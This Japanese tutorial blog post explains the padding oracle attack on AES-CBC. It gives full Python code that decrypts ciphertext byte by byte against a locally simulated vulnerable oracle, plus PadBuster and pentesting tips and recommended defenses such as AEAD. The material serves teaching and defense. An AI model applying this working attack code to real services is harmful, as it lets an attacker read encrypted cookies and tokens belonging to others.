はじめに
暗号化はデータを守る最後の砦です。しかし、アルゴリズムが強固でも、実装を誤ると簡単に破られることがあります。その代表例が Padding Oracle Attack(パディング・オラクル攻撃) です。
この攻撃は「暗号を解く」のではなく、サーバーの反応を観察して少しずつ平文を暴くという、非常にスマート(そして意地悪)な手法です。
1. Padding Oracle Attack とは何か
Padding Oracle Attack は、CBC(Cipher Block Chaining)モードで暗号化されたデータに対して成立します。
成立条件はたったこれだけです:
- サーバーが padding が正しいかどうかを区別できる形で返答する
- エラーメッセージが違う
- HTTP ステータスコードが違う
- レスポンス時間が微妙に違う
このときサーバーは
「この暗号文の padding は正しい/間違っている」
を教えてくれる Oracle(神託装置) になってしまいます。
2. PKCS#7 Padding の基礎(なぜ狙われる?)
AES のようなブロック暗号は 固定長(AESなら16バイト) でしか処理できません。
そこで使われるのが PKCS#7 Padding です。
PKCS#7 のルール(超重要)
- 余りが N バイトなら、
0xNNを N 個追加 - すでにピッタリでも、必ず1ブロック分 padding を足す
例(block size = 8):
| 平文長 mod 8 | padding | 追加される値 |
|---|---|---|
| 7 | 1 | 0x01 |
| 6 | 2 | 0x02 0x02 |
| 0 | 8 | 0x08 x8 |
padding が「意味のある構造」を持つことが、攻撃成立の根本原因です。
3. CBC モードの復号式が“運命を決める”
CBC モードの復号は、次の式で表されます:
$$
P_i = D_k(C_i) \oplus C_{i-1}
$$
- $C_i$:現在の暗号ブロック
- $C_{i-1}$:前の暗号ブロック(または IV)
- $D_k(C_i)$:鍵で復号した 中間値
- $P_i$:平文ブロック
攻撃者は鍵を知らない
でも $C_{i-1}$ は自由に書き換えられる
つまり:
「前のブロックを細工すると、次の平文がコントロールできる」
これが Padding Oracle の核心です。
4. 攻撃の流れ(1バイトずつ盗む)
Step 1:最後の1バイトを狙う
- padding を
0x01にしたい - IV(または前ブロック)の最後の1バイトを 0〜255 で総当たり
- padding が valid になった瞬間=当たり
そこから:
$$
D_k(C_i)[16] = guess \oplus 0x01
$$
Step 2:後ろ2バイトを 0x02 0x02 に固定
- すでに分かった末尾を利用
- 次の1バイトを総当たり
Step 3:これを先頭まで繰り返す
- 16バイトすべて復元
- padding を除去 → 平文完成
暗号を解いていないのに、平文が取れる
これが Padding Oracle の怖さです。
5. Python による自動化
攻撃は基本的に 二重ループ です。
def _decrypt_block(self,c_prev:bytes,c_cur:bytes) -> bytes:
"""
Decrypt one block: given C_{i-1} and C_i, recover P_i.
Uses oracle on (Modified C_(i-1))||C_i(and possibly previous blocks not needed).
"""
assert len(c_prev)== self.bs and len(c_cur)== self.bs
#intermediate =DC(C_i) (a.ka."keystream"/ "intermediate state")
intermediate =bytearray(self.bs)
plaintext = bytearray(self.bs)
# we will craft a modified previous block (like a fake IV)
modified = bytearray(c_prev)
#work from last byte to first
for pad_len in range(1,self.bs+1):
idx =self.bs -pad_len
# set the tail bytes to enforce padding = pad_len
for j in range(self.bs-1,idx,-1):
modified[j]= intermediate[j]^pad_len
# brute force current byte
found = None
# A small trick: to reduce false positives when pad_len==1,
# we can do a secondary check later.
for guess in range(256):
modified[idx]=guess
test = bytes(modified)+c_cur
if not self.oracle(test):
continue
# secondary check for pad_len ==1(avoid false positives)
if pad_len ==1:
#flip a neighboring byte (idx-1) and re-check
# if padding was actually 0x02 0x02 (or longer),this likely breaks it
tweaked =bytearray(modified)
tweaked[idx-1]^=1
test2 = bytearray(tweaked)+c_cur
if not self.oracle(test2):
#false positive,keep searching
continue
found=guess
break
if found is None:
raise RuntimeError(f"Failed to find valid padding at byte index{idx}")
#compute intermediate byte:
# if padding valid => DK(C_i)[idx] XOR modified[idx] == pad_len
intermediate[idx] =found^pad_len
# compute plaintext byte:P_i =intermediate XOR original C_{i-1}
plaintext[idx] =intermediate[idx]^c_prev[idx]
return bytes(plaintext)
✔ 外側:右 → 左
✔ 内側:0〜255 brute-force
✔ Oracle の Yes / No だけを使う
6. PadBuster:実戦向け自動攻撃ツール
PadBuster は Padding Oracle 専用の有名ツールです。
特徴:
- エラーの違いを自動判別
- IV + ciphertext を自動分割
- 復号だけでなく 再暗号化(改ざん)も可能
実務・CTF どちらでも:
「CBC + padding エラーが見えたら、とりあえず PadBuster」
でOKです。
7. ペンテスター視点のチェックポイント
- Cookie / URL / POST に ランダムっぽい hex / base64 があるか
- 1バイト変えたときの
- ステータスコード
- エラーメッセージ
- レスポンスサイズ
- レスポンス時間
⚠️ 1ビットの違いが致命傷 になります。
8. 開発者が絶対に守るべき対策
最強の対策(これ一択)
-
AEAD を使う
- AES-GCM
- AES-CCM
- ChaCha20-Poly1305
Padding Oracle は理論上成立しません
どうしても CBC を使うなら
- Encrypt-then-MAC(MAC 検証 → 復号)
- padding エラーと他エラーを完全に同一化
- 処理時間を一定にする
- エラーメッセージを外部に出さない
まとめ
- Padding Oracle は「暗号の弱さ」ではなく 実装ミスの集大成
- CBC + PKCS#7 + エラー分岐 = 危険
- 攻撃は 数式1行と Yes/No 応答 だけで成立
- 防御は AEAD を使うだけで即解決
「暗号は正しく使われて初めて暗号になる」
—— この攻撃は、それを教えてくれる最高の教材です。
Sourcecode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad,unpad
from Crypto.Random import get_random_bytes
from binascii import hexlify,unhexlify
from dataclasses import dataclass
from typing import Callable,Optional,Tuple
BLOCK_SIZE=16
@dataclass
class VictimCBC:
"""
A vulnerable "victim" that decrypts AES-CBC and reveals padding validity.
This simulates a padding oracle vulnerability.
"""
key:bytes
def encrypt(self,plaintext:bytes) -> bytes:
iv = get_random_bytes(BLOCK_SIZE)
cipher = AES.new(self.key,AES.MODE_CBC,iv)
ct = cipher.encrypt(pad(plaintext,BLOCK_SIZE))
return iv+ct # common format : IV || CT
def padding_oracle(self,iv_ct:bytes)->bool:
"""
Oracle returns True if padding is valid,False otherwise.
Real apps might leak this via different status codes, messages, timing,ect.
"""
if len(iv_ct)<1*BLOCK_SIZE or len(iv_ct)%BLOCK_SIZE !=0:
return False
iv=iv_ct[:BLOCK_SIZE]
ct=iv_ct[BLOCK_SIZE:]
cipher = AES.new(self.key,AES.MODE_CBC,iv)
pt = cipher.decrypt(ct)
try:
_=unpad(pt,BLOCK_SIZE)
return True
except ValueError:
return False
class PaddingOracleAttacker:
def __init__(self,oracle:Callable[[bytes],bool],block_size:int =16):
self.oracle=oracle
self.bs= block_size
def _split_blocks(self,data:bytes)-> list[bytes]:
return [data[i:i+self.bs] for i in range(0,len(data),self.bs)]
def decrypt(self,iv_ct:bytes) -> bytes:
"""
Decrypt IV||CT using padding oracle,without knowing the key.
Returns plaintext(unpadded).
"""
if len(iv_ct) <2 *self.bs or len(iv_ct)%self.bs !=0:
raise ValueError("Ciphertext must be IV|CT with full blocks.")
blocks= self._split_blocks(iv_ct)
#blocks[0] is IV, blocks[1..] are ciphertext blocks
recovered = bytearray()
for i in range(1,len(blocks)):
c_prev =blocks[i-1]
c_cur= blocks[i]
p_block =self._decrypt_block(c_prev,c_cur)
recovered.extend(p_block)
return unpad(bytes(recovered),self.bs)
def _decrypt_block(self,c_prev:bytes,c_cur:bytes) -> bytes:
"""
Decrypt one block: given C_{i-1} and C_i, recover P_i.
Uses oracle on (Modified C_(i-1))||C_i(and possibly previous blocks not needed).
"""
assert len(c_prev)== self.bs and len(c_cur)== self.bs
#intermediate =DC(C_i) (a.ka."keystream"/ "intermediate state")
intermediate =bytearray(self.bs)
plaintext = bytearray(self.bs)
# we will craft a modified previous block (like a fake IV)
modified = bytearray(c_prev)
#work from last byte to first
for pad_len in range(1,self.bs+1):
idx =self.bs -pad_len
# set the tail bytes to enforce padding = pad_len
for j in range(self.bs-1,idx,-1):
modified[j]= intermediate[j]^pad_len
# brute force current byte
found = None
# A small trick: to reduce false positives when pad_len==1,
# we can do a secondary check later.
for guess in range(256):
modified[idx]=guess
test = bytes(modified)+c_cur
if not self.oracle(test):
continue
# secondary check for pad_len ==1(avoid false positives)
if pad_len ==1:
#flip a neighboring byte (idx-1) and re-check
# if padding was actually 0x02 0x02 (or longer),this likely breaks it
tweaked =bytearray(modified)
tweaked[idx-1]^=1
test2 = bytearray(tweaked)+c_cur
if not self.oracle(test2):
#false positive,keep searching
continue
found=guess
break
if found is None:
raise RuntimeError(f"Failed to find valid padding at byte index{idx}")
#compute intermediate byte:
# if padding valid => DK(C_i)[idx] XOR modified[idx] == pad_len
intermediate[idx] =found^pad_len
# compute plaintext byte:P_i =intermediate XOR original C_{i-1}
plaintext[idx] =intermediate[idx]^c_prev[idx]
return bytes(plaintext)
def main():
key = get_random_bytes(16)
victim = VictimCBC(key=key)
secret = b" Padding oracles are sneaky!"
iv_ct= victim.encrypt(secret)
attacker =PaddingOracleAttacker(oracle=victim.padding_oracle,block_size=BLOCK_SIZE)
recovered = attacker.decrypt(iv_ct)
print("Original :",secret)
print("Recovered:", recovered)
print("Match :",recovered==secret)
if __name__=="__main__":
main()